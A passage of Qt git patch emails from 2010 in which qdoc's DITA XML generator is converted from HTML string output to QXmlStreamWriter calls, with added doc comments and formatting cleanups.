CodeMarker::SynopsisStyle style); void generateSectionInheritedList(const Section& section, const Node* relative, - CodeMarker* marker, - bool nameAlignment = false); + CodeMarker* marker); void writeText(const QString& markedCode, CodeMarker* marker, const Node* relative, @@ -262,16 +258,11 @@ class DitaXmlGenerator : public PageGenerator const Node* relative, CodeMarker* marker); void endLink(); - bool generatePageElement(QXmlStreamWriter& writer, - const Node* node, - CodeMarker* marker) const; - void generatePageElements(QXmlStreamWriter& writer, - const Node* node, - CodeMarker* marker) const; - void generatePageIndex(const QString& fileName, - CodeMarker* marker) const; QString writeGuidAttribute(QString text); QString lookupGuid(QString text); + virtual void beginSubPage(const Location& location, const QString& fileName); + virtual void endSubPage(); + QXmlStreamWriter& xmlWriter(); private: QMap refMap; @@ -324,7 +315,8 @@ class DitaXmlGenerator : public PageGenerator NewClassMaps newClassMaps; NewClassMaps newQmlClassMaps; static int id; - QXmlStreamWriter writer; + + QStack xmlWriterStack; }; #define DITAXMLGENERATOR_ADDRESS "address" diff --git a/tools/qdoc3/pagegenerator.h b/tools/qdoc3/pagegenerator.h index 1aa24a1..0fea67a 100644 --- a/tools/qdoc3/pagegenerator.h +++ b/tools/qdoc3/pagegenerator.h @@ -48,14 +48,12 @@ #include #include - #include "generator.h" #include "location.h" QT_BEGIN_NAMESPACE class QTextCodec; - class ClassNode; class InnerNode; class NamespaceNode; @@ -66,16 +64,16 @@ class PageGenerator : public Generator PageGenerator(); ~PageGenerator(); - virtual void generateTree(const Tree *tree, CodeMarker *marker); + virtual void generateTree(const Tree* tree, CodeMarker* marker); protected: - virtual QString fileBase(const Node *node) const; - virtual QString fileExtension(const Node *node) const = 0; - QString fileName(const Node *node) const; + virtual QString fileBase(const Node* node) const; + virtual QString fileExtension(const Node* node) const = 0; + QString fileName(const Node* node) const; QString outFileName(); - void beginSubPage(const Location& location, const QString& fileName); - void endSubPage(); - virtual void generateInnerNode(const InnerNode *node, CodeMarker *marker); + virtual void beginSubPage(const Location& location, const QString& fileName); + virtual void endSubPage(); + virtual void generateInnerNode(const InnerNode* node, CodeMarker* marker); QTextStream& out(); QString naturalLanguage; @@ -89,7 +87,7 @@ class PageGenerator : public Generator QStringRef* par1 = 0, bool debug = false); - private: + protected: QStack outStreamStack; }; -- cgit v0.12 From ecc772100760cd4afafa424b6bf19fb95f8fa82b Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Tue, 14 Sep 2010 14:30:11 +0200 Subject: qdoc: Converted some more html output to xml output. --- tests/auto/qlineedit/tst_qlineedit.cpp | 18 +- tools/qdoc3/ditaxmlgenerator.cpp | 348 ++++++++++++++++++++------------- 2 files changed, 217 insertions(+), 149 deletions(-) diff --git a/tests/auto/qlineedit/tst_qlineedit.cpp b/tests/auto/qlineedit/tst_qlineedit.cpp index bfa9406..93bd447 100644 --- a/tests/auto/qlineedit/tst_qlineedit.cpp +++ b/tests/auto/qlineedit/tst_qlineedit.cpp @@ -3747,15 +3747,15 @@ void tst_QLineEdit::QTBUG697_paletteCurrentColorGroup() void tst_QLineEdit::QTBUG13520_textNotVisible() { LineEdit le; - le.setAlignment( Qt::AlignRight | Qt::AlignVCenter); - le.show(); - QTest::qWaitForWindowShown(&le); - le.setText("01-ST16-01SIL-MPL001wfgsdfgsdgsdfgsdfgsdfgsdfgsdfg"); - le.setCursorPosition(0); - QTest::qWait(100); //just make sure we get he lineedit correcly painted - - QVERIFY(le.cursorRect().center().x() < le.width() / 2); - + le.setAlignment( Qt::AlignRight | Qt::AlignVCenter); + le.show(); + QTest::qWaitForWindowShown(&le); + le.setText("01-ST16-01SIL-MPL001wfgsdfgsdgsdfgsdfgsdfgsdfgsdfg"); + le.setCursorPosition(0); + QTest::qWait(100); //just make sure we get he lineedit correcly painted + + QVERIFY(le.cursorRect().center().x() < le.width() / 2); + } diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index f572cc7..24f3e77 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -371,7 +371,9 @@ static void addLink(const QString &linkTarget, } } - +/*! + The default constructor. + */ DitaXmlGenerator::DitaXmlGenerator() : inLink(false), inContents(false), @@ -390,11 +392,17 @@ DitaXmlGenerator::DitaXmlGenerator() { } +/*! + The destructor has nothing to do. + */ DitaXmlGenerator::~DitaXmlGenerator() { // nothing yet. } +/*! + A lot of internal structures are initialized. + */ void DitaXmlGenerator::initializeGenerator(const Config &config) { static const struct { @@ -491,11 +499,17 @@ void DitaXmlGenerator::initializeGenerator(const Config &config) } +/*! + All this does is call the same function in the base class. + */ void DitaXmlGenerator::terminateGenerator() { Generator::terminateGenerator(); } +/*! + Returns "DITAXML". + */ QString DitaXmlGenerator::format() { return "DITAXML"; @@ -587,7 +601,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, break; case Atom::AutoLink: if ((noLinks > 0) && !inLink && !inContents && !inSectionHeading) { - const Node *node = 0; + const Node* node = 0; QString link = getLink(atom, relative, marker, &node); if (!link.isEmpty()) { beginLink(link, node, relative, marker); @@ -1528,15 +1542,12 @@ void DitaXmlGenerator::writeTargetAndHeader(const QString& target, */ void DitaXmlGenerator::writeXrefListItem(const QString& link, const QString& text) { - qDebug() << "WXLI 1" << link; xmlWriter().writeStartElement("li"); xmlWriter().writeStartElement("xref"); xmlWriter().writeAttribute("href",link); - qDebug() << "WXLI 2"; xmlWriter().writeCharacters(text); xmlWriter().writeEndElement(); // xmlWriter().writeEndElement(); // - qDebug() << "WXLI 3"; } /*! @@ -1622,7 +1633,8 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker xmlWriter().writeEndElement(); // } -#if 0 +#if 0 +zzz /* Generate the TOC for the new doc format. Don't generate a TOC for the home page. @@ -1677,7 +1689,8 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker } #endif -#if 0 +#if 0 +zzz sections = marker->sections(fake, CodeMarker::Summary, CodeMarker::Okay); s = sections.begin(); while (s != sections.end()) { @@ -1713,7 +1726,7 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker #endif /*! - Returns "xml" for this subclass of Generator. + Returns "xml" for this subclass of class Generator. */ QString DitaXmlGenerator::fileExtension(const Node * /* node */) const { @@ -1721,6 +1734,7 @@ QString DitaXmlGenerator::fileExtension(const Node * /* node */) const } /*! + zzz Output breadcrumb list in the html file. */ void DitaXmlGenerator::generateBreadCrumbs(const QString& title, @@ -1809,10 +1823,8 @@ void DitaXmlGenerator::generateBreadCrumbs(const QString& title, } /*! - Outputs an XML file header depending on which kind of DITA + Outputs an XML file header depending on which kind of DITA XML file is being generated. - - \note This does not cover all cases yet. */ void DitaXmlGenerator::generateHeader(const Node* node, const QString& name) { @@ -1887,11 +1899,18 @@ void DitaXmlGenerator::generateHeader(const Node* node, const QString& name) xmlWriter().writeEndElement(); // } +/*! + Writes a \a title as a

    element with an \c {outputclass} + attribute of "h1 title". + + Also generates and writes a \a subTitle as a

    element, + if one is provided, but this probably doesn't work right. + */ void DitaXmlGenerator::generateTitle(const QString& title, - const Text &subTitle, + const Text& subTitle, SubTitleSize subTitleSize, - const Node *relative, - CodeMarker *marker) + const Node* relative, + CodeMarker* marker) { if (!title.isEmpty()) { xmlWriter().writeStartElement("p"); @@ -1913,7 +1932,7 @@ void DitaXmlGenerator::generateTitle(const QString& title, } /*! - Outputs the brief command as a element. + Outputs the \e brief command as a element. */ void DitaXmlGenerator::generateBrief(const Node* node, CodeMarker* marker) { @@ -1927,10 +1946,14 @@ void DitaXmlGenerator::generateBrief(const Node* node, CodeMarker* marker) } } -void DitaXmlGenerator::generateIncludes(const InnerNode *inner, CodeMarker *marker) +/*! + Writes the \c {#include ...} required to include the class + or namespace in a compilation. + */ +void DitaXmlGenerator::generateIncludes(const InnerNode* inner, CodeMarker* marker) { if (!inner->includes().isEmpty()) { - xmlWriter().writeStartElement("pree"); + xmlWriter().writeStartElement("pre"); xmlWriter().writeAttribute("outputclass","highlightedcode"); writeText(marker->markedUpIncludes(inner->includes()), marker, inner); xmlWriter().writeEndElement(); // @@ -1938,13 +1961,15 @@ void DitaXmlGenerator::generateIncludes(const InnerNode *inner, CodeMarker *mark } /*! + zzz Generates a table of contents begining at \a node. + Currently just returns without writing anything. */ -void DitaXmlGenerator::generateTableOfContents(const Node *node, - CodeMarker *marker, - Doc::SectioningUnit sectioningUnit, - int numColumns, - const Node *relative) +void DitaXmlGenerator::generateTableOfContents(const Node* node, + CodeMarker* marker, + Doc::SectioningUnit sectioningUnit, + int numColumns, + const Node* relative) { return; @@ -2023,12 +2048,13 @@ void DitaXmlGenerator::generateTableOfContents(const Node *node, } /*! + zzz Revised for the new doc format. Generates a table of contents begining at \a node. */ -void DitaXmlGenerator::generateTableOfContents(const Node *node, - CodeMarker *marker, - QList

    * sections) +void DitaXmlGenerator::generateTableOfContents(const Node* node, + CodeMarker* marker, + QList
    * sections) { QList toc; if (node->doc().hasTableOfContents()) @@ -2155,9 +2181,11 @@ QString DitaXmlGenerator::generateListOfAllMemberFile(const InnerNode* inner, generateHeader(inner, title); xmlWriter().writeStartElement("body"); generateTitle(title, Text(), SmallSubTitle, inner, marker); - out() << "

    This is the complete list of members for "; + xmlWriter().writeStartElement("p"); + xmlWriter().writeCharacters("This is the complete list of members for "); generateFullName(inner, 0, marker); - out() << ", including inherited members.

    \n"; + xmlWriter().writeCharacters(", including inherited members."); + xmlWriter().writeEndElement(); //

    Section section = sections.first(); generateSection(section.members, 0, marker, CodeMarker::SeparateList); @@ -2200,16 +2228,16 @@ QString DitaXmlGenerator::generateLowStatusMemberFile(const InnerNode* inner, if (status == CodeMarker::Compat) { xmlWriter().writeStartElement("p"); xmlWriter().writeCharacters("

    The following class members are part of the " - "Qt 3 support layer." - " They are provided to help you port old code to Qt 4. " - "We advise against using them in new code."); + "Qt 3 support layer." + " They are provided to help you port old code to Qt 4. " + "We advise against using them in new code."); xmlWriter().writeEndElement(); //

    } else { xmlWriter().writeStartElement("p"); xmlWriter().writeCharacters("The following class members are obsolete. " - "They are provided to keep old source code working. " - "We strongly advise against using them in new code."); + "They are provided to keep old source code working. " + "We strongly advise against using them in new code."); xmlWriter().writeEndElement(); //

    } xmlWriter().writeStartElement("p"); @@ -2252,9 +2280,12 @@ QString DitaXmlGenerator::generateLowStatusMemberFile(const InnerNode* inner, return fileName; } -void DitaXmlGenerator::generateClassHierarchy(const Node *relative, - CodeMarker *marker, - const QMap &classMap) +/*! + Write the XML for the class hierarchy to the current XML stream. + */ +void DitaXmlGenerator::generateClassHierarchy(const Node* relative, + CodeMarker* marker, + const QMap& classMap) { if (classMap.isEmpty()) return; @@ -2262,7 +2293,7 @@ void DitaXmlGenerator::generateClassHierarchy(const Node *relative, NodeMap topLevel; NodeMap::ConstIterator c = classMap.begin(); while (c != classMap.end()) { - const ClassNode *classe = static_cast(*c); + const ClassNode* classe = static_cast(*c); if (classe->baseClasses().isEmpty()) topLevel.insert(classe->name(), classe); ++c; @@ -2271,18 +2302,18 @@ void DitaXmlGenerator::generateClassHierarchy(const Node *relative, QStack stack; stack.push(topLevel); - out() << "
      \n"; + xmlWriter().writeStartElement("ul"); while (!stack.isEmpty()) { if (stack.top().isEmpty()) { stack.pop(); - out() << "
    \n"; + xmlWriter().writeEndElement(); // } else { const ClassNode *child = static_cast(*stack.top().begin()); - out() << "
  • "; + xmlWriter().writeStartElement("li"); generateFullName(child, relative, marker); - out() << "
  • \n"; + xmlWriter().writeEndElement(); // stack.top().erase(stack.top().begin()); NodeMap newTop; @@ -2292,12 +2323,16 @@ void DitaXmlGenerator::generateClassHierarchy(const Node *relative, } if (!newTop.isEmpty()) { stack.push(newTop); - out() << "
      \n"; + xmlWriter().writeStartElement("ul"); } } } } +/*! + Write XML for the contents of the \a nodeMap to the current + XML stream. + */ void DitaXmlGenerator::generateAnnotatedList(const Node* relative, CodeMarker* marker, const NodeMap& nodeMap) @@ -2578,6 +2613,9 @@ void DitaXmlGenerator::generateCompactList(const Node* relative, xmlWriter().writeEndElement(); //

      } +/*! + Write XML for a function index to the current XML stream. + */ void DitaXmlGenerator::generateFunctionIndex(const Node* relative, CodeMarker* marker) { @@ -2624,22 +2662,25 @@ void DitaXmlGenerator::generateFunctionIndex(const Node* relative, xmlWriter().writeEndElement(); //
    } -void DitaXmlGenerator::generateLegaleseList(const Node *relative, - CodeMarker *marker) +/*! + Write the legalese texts as XML to the current XML stream. + */ +void DitaXmlGenerator::generateLegaleseList(const Node* relative, + CodeMarker* marker) { - QMap::ConstIterator it = legaleseTexts.begin(); + QMap::ConstIterator it = legaleseTexts.begin(); while (it != legaleseTexts.end()) { Text text = it.key(); - out() << "
    \n"; + //out() << "
    \n"; generateText(text, relative, marker); - out() << "
      \n"; + xmlWriter().writeStartElement("ul"); do { - out() << "
    • "; + xmlWriter().writeStartElement("li"); generateFullName(it.value(), relative, marker); - out() << "
    • \n"; + xmlWriter().writeEndElement(); // ++it; } while (it != legaleseTexts.end() && it.key() == text); - out() << "
    \n"; + xmlWriter().writeEndElement(); // } } @@ -2674,6 +2715,9 @@ void DitaXmlGenerator::generateQmlItem(const Node* node, writeText(marked, marker, relative); } +/*! + Writher the XML for the overview list to the current XML stream. + */ void DitaXmlGenerator::generateOverviewList(const Node* relative, CodeMarker* /* marker */) { QMap > fakeNodeMap; @@ -2753,42 +2797,60 @@ void DitaXmlGenerator::generateOverviewList(const Node* relative, CodeMarker* /* // pages in that group are listed for completeness. if (!fakeNodeMap.isEmpty()) { - foreach (const QString &groupTitle, groupTitlesMap.keys()) { - const FakeNode *groupNode = groupTitlesMap[groupTitle]; - out() << QString("

    %2

    \n").arg( - linkForNode(groupNode, relative)).arg( - protectEnc(groupNode->fullTitle())); - + foreach (const QString& groupTitle, groupTitlesMap.keys()) { + const FakeNode* groupNode = groupTitlesMap[groupTitle]; + xmlWriter().writeStartElement("p"); + xmlWriter().writeAttribute("outputclass","h3"); + xmlWriter().writeStartElement("xref"); + xmlWriter().writeAttribute("href",linkForNode(groupNode, relative)); + xmlWriter().writeCharacters(protectEnc(groupNode->fullTitle())); + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); //

    if (fakeNodeMap[groupNode].count() == 0) continue; - out() << "
      \n"; - - foreach (const FakeNode *fakeNode, fakeNodeMap[groupNode]) { + xmlWriter().writeStartElement("ul"); + foreach (const FakeNode* fakeNode, fakeNodeMap[groupNode]) { QString title = fakeNode->fullTitle(); if (title.startsWith("The ")) title.remove(0, 4); - out() << "
    • " - << protectEnc(title) << "
    • \n"; + xmlWriter().writeStartElement("li"); + xmlWriter().writeStartElement("xref"); + xmlWriter().writeAttribute("href",linkForNode(fakeNode, relative)); + xmlWriter().writeCharacters(protectEnc(title)); + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // } - out() << "
    \n"; + xmlWriter().writeEndElement(); // } } if (!uncategorizedNodeMap.isEmpty()) { - out() << QString("

    Miscellaneous

    \n"); - out() << "
      \n"; + xmlWriter().writeStartElement("p"); + xmlWriter().writeAttribute("outputclass","h3"); + xmlWriter().writeCharacters("Miscellaneous"); + xmlWriter().writeEndElement(); //

      + xmlWriter().writeStartElement("ul"); foreach (const FakeNode *fakeNode, uncategorizedNodeMap) { QString title = fakeNode->fullTitle(); if (title.startsWith("The ")) title.remove(0, 4); - out() << "
    • " - << protectEnc(title) << "
    • \n"; + xmlWriter().writeStartElement("li"); + xmlWriter().writeStartElement("xref"); + xmlWriter().writeAttribute("href",linkForNode(fakeNode, relative)); + xmlWriter().writeCharacters(protectEnc(title)); + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // } - out() << "
    \n"; + xmlWriter().writeEndElement(); // } } +/*! + Write the XML for a standard section of a page, e.g. + "Public Functions" or "Protected Slots." The section + is written too the current XML stream as a table. + */ void DitaXmlGenerator::generateSection(const NodeList& nl, const Node* relative, CodeMarker* marker, @@ -2882,7 +2944,7 @@ void DitaXmlGenerator::generateSection(const NodeList& nl, } /*! - Writes the "inherited from" lists. + Writes the "inherited from" lists to the current XML stream. */ void DitaXmlGenerator::generateSectionInheritedList(const Section& section, const Node* relative, @@ -2957,6 +3019,10 @@ QString DitaXmlGenerator::getMarkedUpSynopsis(const Node* node, return marked; } +/*! + Renamed from highlightedCode() in the html generator. Writes + the \a markedCode to the current XML stream. + */ void DitaXmlGenerator::writeText(const QString& markedCode, CodeMarker* marker, const Node* relative, @@ -3116,9 +3182,8 @@ void DitaXmlGenerator::generateLink(const Atom* atom, if (showBrokenLinks) xmlWriter().writeEndElement(); // } - else { + else xmlWriter().writeEndElement(); // - } inLink = false; xmlWriter().writeCharacters(protectEnc(atom->string().mid(k))); } @@ -3128,17 +3193,14 @@ void DitaXmlGenerator::generateLink(const Atom* atom, bool tt = (func || atom->string().contains(camelCase)); if (tt) xmlWriter().writeStartElement("tt"); - if (func) { + if (func) xmlWriter().writeCharacters(protectEnc(atom->string().left(atom->string().length() - 2))); - } - else { + else xmlWriter().writeCharacters(protectEnc(atom->string())); - } xmlWriter().writeEndElement(); // } - else { + else xmlWriter().writeCharacters(protectEnc(atom->string())); - } } QString DitaXmlGenerator::cleanRef(const QString& ref) @@ -3215,14 +3277,16 @@ QString DitaXmlGenerator::registerRef(const QString& ref) prevRef = ref; break; } - else if (prevRef == ref) { + else if (prevRef == ref) break; - } clean += "x"; } return clean; } +/*! + Calls protect() with the \a string. Returns the result. + */ QString DitaXmlGenerator::protectEnc(const QString& string) { return protect(string, outputEncoding); @@ -3276,6 +3340,10 @@ QString DitaXmlGenerator::protect(const QString& string, const QString& outputEn #undef APPEND } +/*! + Constructs a file name appropriate for the \a node + and returns the file name. + */ QString DitaXmlGenerator::fileBase(const Node* node) { QString result; @@ -3295,6 +3363,13 @@ QString DitaXmlGenerator::fileBase(const Node* node) return result; } +/*! + Constructs a file name appropriate for the \a node + and returns the file name. If the \a node is not a + fake node, or if it is a fake node but it is neither + an external page node nor an image node, call the + PageGenerator::fileName() function. + */ QString DitaXmlGenerator::fileName(const Node* node) { if (node->type() == Node::Fake) { @@ -3393,15 +3468,11 @@ QString DitaXmlGenerator::linkForNode(const Node* node, const Node* relative) QString DitaXmlGenerator::refForAtom(Atom* atom, const Node* /* node */) { - if (atom->type() == Atom::SectionLeft) { + if (atom->type() == Atom::SectionLeft) return Doc::canonicalTitle(Text::sectionHeading(atom).toString()); - } - else if (atom->type() == Atom::Target) { + if (atom->type() == Atom::Target) return Doc::canonicalTitle(atom->string()); - } - else { - return QString(); - } + return QString(); } void DitaXmlGenerator::generateFullName(const Node* apparentNode, @@ -3422,7 +3493,7 @@ void DitaXmlGenerator::generateFullName(const Node* apparentNode, xmlWriter().writeAttribute("outputclass","compat"); break; default: - ; + break; } } xmlWriter().writeCharacters(protectEnc(fullName(apparentNode, relative, marker))); @@ -3745,7 +3816,6 @@ const Node* DitaXmlGenerator::findNodeForTarget(const QString& target, const QPair DitaXmlGenerator::anchorForNode(const Node* node) { QPair anchorPair; - anchorPair.first = PageGenerator::fileName(node); if (node->type() == Node::Fake) { const FakeNode *fakeNode = static_cast(node); @@ -3765,40 +3835,34 @@ QString DitaXmlGenerator::getLink(const Atom* atom, inObsoleteLink = false; if (atom->string().contains(":") && - (atom->string().startsWith("file:") - || atom->string().startsWith("http:") - || atom->string().startsWith("https:") - || atom->string().startsWith("ftp:") - || atom->string().startsWith("mailto:"))) { - + (atom->string().startsWith("file:") + || atom->string().startsWith("http:") + || atom->string().startsWith("https:") + || atom->string().startsWith("ftp:") + || atom->string().startsWith("mailto:"))) { + link = atom->string(); } else { QStringList path; - if (atom->string().contains('#')) { + if (atom->string().contains('#')) path = atom->string().split('#'); - } - else { + else path.append(atom->string()); - } - - Atom *targetAtom = 0; + Atom* targetAtom = 0; QString first = path.first().trimmed(); - if (first.isEmpty()) { + + if (first.isEmpty()) *node = relative; - } - else if (first.endsWith(".html")) { + else if (first.endsWith(".html")) *node = myTree->root()->findNode(first, Node::Fake); - } else { *node = marker->resolveTarget(first, myTree, relative); - if (!*node) { + if (!*node) *node = myTree->findFakeNodeByTitle(first); - } - if (!*node) { + if (!*node) *node = myTree->findUnambiguousTarget(first, targetAtom); - } } if (*node) { @@ -3807,36 +3871,26 @@ QString DitaXmlGenerator::getLink(const Atom* atom, else path.removeFirst(); } - else { + else *node = relative; - } - if (*node) { - if ((*node)->status() == Node::Obsolete) { - if (relative) { - if (relative->parent() != *node) { - if (relative->status() != Node::Obsolete) { - bool porting = false; - if (relative->type() == Node::Fake) { - const FakeNode* fake = static_cast(relative); - if (fake->title().startsWith("Porting")) - porting = true; - } - QString name = marker->plainFullName(relative); - if (!porting && !name.startsWith("Q3")) { - if (obsoleteLinks) { - relative->doc().location().warning(tr("Link to obsolete item '%1' in %2") - .arg(atom->string()) - .arg(name)); - } - inObsoleteLink = true; - } - } - } + if (*node && (*node)->status() == Node::Obsolete) { + if (relative && (relative->parent() != *node) && + (relative->status() != Node::Obsolete)) { + bool porting = false; + if (relative->type() == Node::Fake) { + const FakeNode* fake = static_cast(relative); + if (fake->title().startsWith("Porting")) + porting = true; } - else { - qDebug() << "Link to Obsolete entity" - << (*node)->name() << "no relative"; + QString name = marker->plainFullName(relative); + if (!porting && !name.startsWith("Q3")) { + if (obsoleteLinks) { + relative->doc().location().warning(tr("Link to obsolete item '%1' in %2") + .arg(atom->string()) + .arg(name)); + } + inObsoleteLink = true; } } } @@ -3958,15 +4012,15 @@ void DitaXmlGenerator::endLink() if (inLink) { if (link.isEmpty()) { if (showBrokenLinks) - xmlWriter().writeEndElement(); // i + xmlWriter().writeEndElement(); // } else { if (inObsoleteLink) { xmlWriter().writeStartElement("sup"); xmlWriter().writeCharacters("(obsolete)"); - xmlWriter().writeEndElement(); // sup + xmlWriter().writeEndElement(); // } - xmlWriter().writeEndElement(); // xref + xmlWriter().writeEndElement(); // } } inLink = false; @@ -3974,6 +4028,7 @@ void DitaXmlGenerator::endLink() } /*! + zzz Generates the summary for the \a section. Only used for sections of QML element documentation. @@ -4017,6 +4072,7 @@ void DitaXmlGenerator::generateQmlSummary(const Section& section, } /*! + zzz Outputs the html detailed documentation for a section on a QML element reference page. */ @@ -4103,6 +4159,7 @@ void DitaXmlGenerator::generateDetailedQmlMember(const Node *node, } /*! + zzz Output the "Inherits" line for the QML element, if there should be one. */ @@ -4153,6 +4210,7 @@ void DitaXmlGenerator::generateQmlInheritedBy(const QmlClassNode* cn, } /*! + zzz text Output the "[Xxx instantiates the C++ class QmlGraphicsXxx]" line for the QML element, if there should be one. @@ -4164,7 +4222,8 @@ void DitaXmlGenerator::generateQmlInstantiates(const QmlClassNode* qcn, { const ClassNode* cn = qcn->classNode(); if (cn && (cn->status() != Node::Internal)) { - out() << "

    "; + xmlWriter().writeStartElement("p"); + xmlWriter().writeAttribute("outputclass","centerAlign"); Text text; text << "["; text << Atom(Atom::LinkNode,CodeMarker::stringForNode(qcn)); @@ -4178,11 +4237,12 @@ void DitaXmlGenerator::generateQmlInstantiates(const QmlClassNode* qcn, text << Atom(Atom::FormattingRight, ATOM_FORMATTING_LINK); text << "]"; generateText(text, qcn, marker); - out() << "

    "; + xmlWriter().writeEndElement(); //

    } } /*! + zzz text Output the "[QmlGraphicsXxx is instantiated by QML element Xxx]" line for the class, if there should be one. @@ -4195,7 +4255,8 @@ void DitaXmlGenerator::generateInstantiatedBy(const ClassNode* cn, if (cn && cn->status() != Node::Internal && !cn->qmlElement().isEmpty()) { const Node* n = myTree->root()->findNode(cn->qmlElement(),Node::Fake); if (n && n->subType() == Node::QmlClass) { - out() << "

    "; + xmlWriter().writeStartElement("p"); + xmlWriter().writeAttribute("outputclass","centerAlign"); Text text; text << "["; text << Atom(Atom::LinkNode,CodeMarker::stringForNode(cn)); @@ -4209,7 +4270,7 @@ void DitaXmlGenerator::generateInstantiatedBy(const ClassNode* cn, text << Atom(Atom::FormattingRight, ATOM_FORMATTING_LINK); text << "]"; generateText(text, cn, marker); - out() << "

    "; + xmlWriter().writeEndElement(); //

    } } } @@ -5057,6 +5118,12 @@ void DitaXmlGenerator::endSubPage() PageGenerator::endSubPage(); } +/*! + Returns a reference to the XML stream writer currently in use. + There is one XML stream writer open for each XML file being + written, and they are kept on a stack. The one on top of the + stack is the one being written to at the moment. + */ QXmlStreamWriter& DitaXmlGenerator::xmlWriter() { return *xmlWriterStack.top(); @@ -5065,6 +5132,7 @@ QXmlStreamWriter& DitaXmlGenerator::xmlWriter() QT_END_NAMESPACE #ifdef TO_BE_INCLUDED_IN_API_DESC +zzzz Text subtitleText; if (rawTitle != fullTitle) subtitleText << "(" << Atom(Atom::AutoLink, fullTitle) << ")" -- cgit v0.12 From 4b8542e958ebced0b324e64291c6d10d79680021 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Wed, 15 Sep 2010 09:03:02 +0200 Subject: qdoc: Converted some more html output to xml output. --- tools/qdoc3/ditaxmlgenerator.cpp | 60 ++++++++++++++-------------------------- 1 file changed, 20 insertions(+), 40 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 24f3e77..90b2f06 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -2684,18 +2684,20 @@ void DitaXmlGenerator::generateLegaleseList(const Node* relative, } } +/*! + Generate the text for the QML item described by \a node + and write it to the current XML stream. + */ void DitaXmlGenerator::generateQmlItem(const Node* node, const Node* relative, CodeMarker* marker, bool summary) { QString marked = marker->markedUpQmlItem(node,summary); - QRegExp templateTag("(<[^@>]*>)"); - if (marked.indexOf(templateTag) != -1) { - QString contents = protectEnc(marked.mid(templateTag.pos(1), - templateTag.cap(1).length())); - marked.replace(templateTag.pos(1), templateTag.cap(1).length(), - contents); + QRegExp tag("(<[^@>]*>)"); + if (marked.indexOf(tag) != -1) { + QString tmp = protectEnc(marked.mid(tag.pos(1), tag.cap(1).length())); + marked.replace(tag.pos(1), tag.cap(1).length(), tmp); } marked.replace(QRegExp("<@param>([a-z]+)_([1-9n])"), "\\1\\2"); @@ -2984,13 +2986,10 @@ QString DitaXmlGenerator::getMarkedUpSynopsis(const Node* node, CodeMarker::SynopsisStyle style) { QString marked = marker->markedUpSynopsis(node, relative, style); - QRegExp templateTag("(<[^@>]*>)"); - if (marked.indexOf(templateTag) != -1) { - QString contents = protectEnc(marked.mid(templateTag.pos(1), - templateTag.cap(1).length())); - marked.replace(templateTag.pos(1), - templateTag.cap(1).length(), - contents); + QRegExp tag("(<[^@>]*>)"); + if (marked.indexOf(tag) != -1) { + QString tmp = protectEnc(marked.mid(tag.pos(1), tag.cap(1).length())); + marked.replace(tag.pos(1), tag.cap(1).length(), tmp); } marked.replace(QRegExp("<@param>([a-z]+)_([1-9n])"), "\\1\\2"); @@ -4028,7 +4027,6 @@ void DitaXmlGenerator::endLink() } /*! - zzz Generates the summary for the \a section. Only used for sections of QML element documentation. @@ -4039,35 +4037,17 @@ void DitaXmlGenerator::generateQmlSummary(const Section& section, CodeMarker* marker) { if (!section.members.isEmpty()) { + xmlWriter().writeStartElement("ul"); NodeList::ConstIterator m; - int count = section.members.size(); - bool twoColumn = false; - if (section.members.first()->type() == Node::QmlProperty) { - twoColumn = (count >= 5); - } - if (twoColumn) - out() << "\n"; - if (++numTableRows % 2 == 1) - out() << ""; - else - out() << ""; - // << "\n
    "; - out() << "
      \n"; - - int row = 0; m = section.members.begin(); while (m != section.members.end()) { - if (twoColumn && row == (int) (count + 1) / 2) - out() << "
      \n"; - out() << "
    • "; + xmlWriter().writeStartElement("li"); + xmlWriter().writeAttribute("outputclass", "fn"); generateQmlItem(*m,relative,marker,true); - out() << "
    • \n"; - row++; + xmlWriter().writeEndElement(); // ++m; } - out() << "
    \n"; - if (twoColumn) - out() << "
    \n"; + xmlWriter().writeEndElement(); // } } @@ -4076,9 +4056,9 @@ void DitaXmlGenerator::generateQmlSummary(const Section& section, Outputs the html detailed documentation for a section on a QML element reference page. */ -void DitaXmlGenerator::generateDetailedQmlMember(const Node *node, - const InnerNode *relative, - CodeMarker *marker) +void DitaXmlGenerator::generateDetailedQmlMember(const Node* node, + const InnerNode* relative, + CodeMarker* marker) { QString marked; const QmlPropertyNode* qpn = 0; -- cgit v0.12 From ed73f806928760ace1d4c7c2a6327875725bcb05 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Sat, 18 Sep 2010 13:37:32 +0200 Subject: qdoc: DITA XML generator now uses
    elements... ...instead of

    elements with the outputclass attribute set to some h value. Also added some missing macros to qt-ditaxml.qdocconf, but there is more to think about here. --- src/corelib/tools/qeasingcurve.cpp | 20 +- tools/qdoc3/ditaxmlgenerator.cpp | 354 +++++++++++++++++++---------------- tools/qdoc3/ditaxmlgenerator.h | 7 + tools/qdoc3/generator.cpp | 72 +++---- tools/qdoc3/generator.h | 3 +- tools/qdoc3/test/qt-ditaxml.qdocconf | 31 +++ 6 files changed, 270 insertions(+), 217 deletions(-) diff --git a/src/corelib/tools/qeasingcurve.cpp b/src/corelib/tools/qeasingcurve.cpp index 7fe9170..aee9356 100644 --- a/src/corelib/tools/qeasingcurve.cpp +++ b/src/corelib/tools/qeasingcurve.cpp @@ -92,14 +92,18 @@ animation.setEasingCurve(QEasingCurve::InOutQuad); \endcode - The ability to set an amplitude, overshoot, or period depends on the QEasingCurve type. Amplitude access - is available to curves that behave as springs such as elastic and bounce curves. Changing the amplitude changes - the height of the curve. Period access is only available to elastic curves and setting a higher period slows - the rate of bounce. Only curves that have "boomerang" behaviors such as the InBack, OutBack, InOutBack, and OutInBack - have overshoot settings. These curves will interpolate 